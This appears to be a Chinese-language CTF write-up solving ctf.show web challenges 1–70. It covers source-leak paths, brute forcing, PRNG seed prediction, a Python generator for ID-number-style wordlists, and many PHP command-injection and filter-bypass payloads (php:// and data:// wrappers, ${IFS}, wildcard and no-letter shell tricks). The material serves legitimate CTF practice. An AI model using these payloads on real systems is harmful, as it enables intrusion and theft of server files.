web1
右键查看源码
web2
ctrl+shift+c
web3
返回包的头部字段里
web4
/robots.txt 里有flag的位置
/flagishere.txt 即可
web5
phps
做备份源码泄露
访问index.phps
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。
web6
/www.zip
获取源码
web7
git源码泄露访问/.git/
web8
svn泄露,访问.svn
即可
web9
vim 临时文件泄露访问index.php.swp
即可
web10
查看cookie
即可
web11
随便一个查询dns txt的网站即可
web12
根据题目描述
有时候网站上的公开信息,就是管理员常用密码
可以知道网站上的公开信息可能就是登录密码
我们猜测有可能是姓名、身份证、生日、电话号码
可以在底部发现一个电话号码猜测可能就是我们要的
访问/admin
登录即可
admin/372619038
web13
在网站底部可以发现文档的url,点击即可得到开发文档,其中有后台地址和默认密码,访问登录即可
web14
根据提示输入editor进入编辑器,该编辑器可以遍历文件从从而获得flag路径
访问/nothinghere/fl000g.txt
即可获得flag
web15
访问/admin
进入管理员登录界面点击忘记密码,通过主页的qq邮箱搜索qq可以发现来自西安
即可重置密码
登录即可获得flag
web16
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
探针url/tz.php
在phpinfo()
中发现flag
web17
提示backup.sql
vscode打开即可发现
web18
直接看js源码
发现胜利逻辑
叫我们去奇怪的地方看看
你赢了,去幺幺零点皮爱吃皮看看
抽象,这个皮爱吃皮我以为是pacp
结果是php
web19
查看源码
改包password
为
a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
即可
web20
访问/db/db.mdb
16进制查看器发现flag
web21
已经给出爆破的字典,使用bp爆破即可
选择sniper
模式,给需要的地方打上tag
pyload type 需要选择custom iterator 模式,添加三payload,分别是用户名,:,密码
然后选择base64加密取消url编码即可
web22
域名爆破,但是失效了
web23
直接瞎爆破即可
web24
点开题目发现输出了ubuntu的版本,可以先网上查找默认版本是啥,搜到为php 7.4
再使用php在线网站跑一下就行
https://rtool.cn/run/php741.html
<?php
mt_srand(372619038);
echo(mt_rand());
?>
web25
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023
可以发现会输出随机数,我们直接设r=0就能知道随机数是多少了得到是89800982
再添加到cookie即可
web26
直接爆破就行
web27
下载录取名单,又有学籍查询系统,直接爆破就行
先生成字典
fp = open("list.txt","w")
for year in range(1990,2017):
for month in range(1,13):
for day in range(1,32):
flag = f"621022{year}{month:02}{day:02}5237"
fp.write(flag+"\n")
fp.close()
再爆破
web28
爆破路径,然后等着就行
import requests
for i in range(0,100):
for j in range(0,100):
url= f"http://ab29e314-d8c8-437b-9f88-59ba2681847a.challenge.ctf.show/{i}/{j}/"
response = requests.get(url=url)
if response.status_code!= 403:
print(response.text)
web 29
eazy
web 30
过滤了flag|system|php
用`可以直接执行命令
echo `nl f*`;
web 31
直接无参数rce
payload
?c=eval(end(current(get_defined_vars())));&shell=phpinfo();
web 32
过滤
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(
web 33
没有;
可以使用?>
,使用inlcude直接得到flag
c=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
web 34
同上
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web 35
同上
web 36
同上
web 37
有一个include,过滤flag
可以使用data://text/plain
命令执行
data://text/plain,<?php system(%27cat f*%27)?>
web 38
nginx的日志文件/var/log/nginx/access.log
过滤
flag|php|file
data://text/plain
+base64秒了
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
web 39
include($c.".php");
拼接了,但是没啥用,用data协议也能秒
web 40
无参数rce,前面的方式直接出
?c=eval(end(current(get_defined_vars())));&shell=system(%27cat%20f*%27);
官方wp无参数
show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls
web 41
[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
没有过滤|
那么可以利用|
来做字符串的异或,就可利用或运算来拼接
先可以在过滤规则下生成替换字典,然后再直接替换
import re
dic = {}
for i in range(0,256):
for j in range(0,256):
if 32<=i|j<=126:
if not re.match(r'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr(i)) and not re.match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr(j)):
if not dic.get(chr(i|j)):
dic.update({chr(i|j):[f"%{'{:02x}'.format(i)}",f"%{'{:02x}'.format(j)}"]})
cmd = input()
payload1=""
payload2=""
for i in cmd:
payload1+=dic[i][0]
payload2+=dic[i][1]
print(f"(\"{payload1}\"|\"{payload2}\")")
web 42
system($c." >/dev/null 2>&1");
直接截断命令就行cat flag.php;
web 43
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
用||
截断
nl flag.php||
也可以使用换行截断nl flag.php%0a
web 44
同上
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
nl%20f*||
web45
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
主要考察${IFS}
绕过空格nl${IFS}f*||
web 46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
使用<可以绕过空格,''
可以防止flag的匹配
nl<fla''g.php||
web 47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
一样nl<fla''g.php||
web 48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
nl<fla''g.php||
web 49
一个payload快打通了要
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
nl<fla''g.php||
web 50
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
\x09
和\x26
分别是\t
和&
web 51
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
web 52
换了但是没完全换
nl${IFS}f''lag.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
web 53
nl${IFS}fl''ag.php
终于不一样了一点
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
web 54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
上难度了,没写出来,后面看应该是用通用符?
来直接执行cat,再用通配符cat flag
/bin/?at${IFS}f???????
这里通配符只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径
web 55
无字母数字命令执行,详见命令执行绕过
先写个文件上传的php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="https://aaca8e4e-fa2a-49b6-a82e-e0711e948e11.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<input type="file" id="file" name="file" multiple />
<input type="submit" value="submit" />
</form>
</body>
</html>
pyload
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: aaca8e4e-fa2a-49b6-a82e-e0711e948e11.challenge.ctf.show
Content-Length: 218
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: http://localhost:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKXJOwK9i8Jc92kRd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Priority: u=0, i
Connection: keep-alive
------WebKitFormBoundaryKXJOwK9i8Jc92kRd
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
#!/bin/sh
cat flag.php
------WebKitFormBoundaryKXJOwK9i8Jc92kRd--
其中最主要的就是利用.+/???/????????[@-[]
执行shell
这里[@-[]
匹配到的是大写字母,而字母又是随机的所以只有50%能执行成功
web 56
和上面pyload相同
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 4d2f371e-6edd-4723-b263-860bfc08acf4.challenge.ctf.show
Content-Length: 216
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: http://localhost:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4HNp5aifypnPB6aU
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Priority: u=0, i
Connection: keep-alive
------WebKitFormBoundary4HNp5aifypnPB6aU
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
#!/bin/sh
cat flag.php
------WebKitFormBoundary4HNp5aifypnPB6aU--
web 57
只有$、(、)、运算符
eg:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
首先我们要知道,在linux中通常使用$(())
来进行简单的数值计算
┌──(kali㉿kali)-[~/Desktop/shiyan/shiyan2]
└─$ echo $((1+1))
2
而没有计算式子的时候,默认返回0
再者$((~0))
会得到-1
web 58
禁用了system phpinfo等
我们直接用include+php伪协议读取即可
c=include("php://filter/convert.base64-encode/resource=flag.php");
wp的方式
c=show_source('flag.php');
show_source()
函数用于对文件进行 PHP 语法高亮显示
是highlight_file()
的别名
web 59
c=show_source('flag.php');
web 60
c=show_source('flag.php');
web 61
c=show_source('flag.php');
web 62
c=show_source('flag.php');
web 63
c=show_source('flag.php');
web 64
c=show_source('flag.php');
web 65
c=show_source('flag.php');
web 66
include("php://filter/convert.base64-encode/resource=flag.php")
告诉我们不在这里面
那就得扫目录了,这里使用scandir()
c=print_r(scandir("/"));
发现有flag.php
再利用上面的方式读取
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
官方payload
c=highlight_file('/flag.txt');
web 67
根据前面的做题猜测在flag.txt
用highlight_file("/flag.txt");
即可
web 68
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
web 69
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
web 70
c=include("/flag.txt");